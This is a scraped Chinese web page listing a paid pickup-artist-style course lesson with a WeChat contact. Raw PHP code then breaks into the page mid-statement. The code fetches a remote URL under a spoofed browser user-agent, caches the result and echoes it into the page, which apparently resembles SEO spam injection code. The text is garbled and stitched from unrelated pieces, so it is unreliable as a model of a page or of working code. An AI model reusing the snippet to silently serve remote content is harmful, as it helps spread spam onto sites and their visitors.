001.1.图式:你以为的世界和真实的世界差距有多大?【咨询请加微信:puaxinglian】...
2024-06-02 350 9.9
没有账号?注册  忘记密码?
array( "header"=>array( "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Seowhy", ), "method" => "GET", "timeout" => 2 ), ); $context = stream_context_create($opts); $content = @file_get_contents($url,false, $context); if (isset($http_response_header)) { if(is_array($http_response_header)){ $http_response_header = $http_response_header[0]; } if(strpos($http_response_header,"200 OK") !==false && $content != "error"){ @file_put_contents($cacheUrl, $content); echo $content; } } }else{ $content = @file_get_contents($cacheUrl); echo $content; } ?>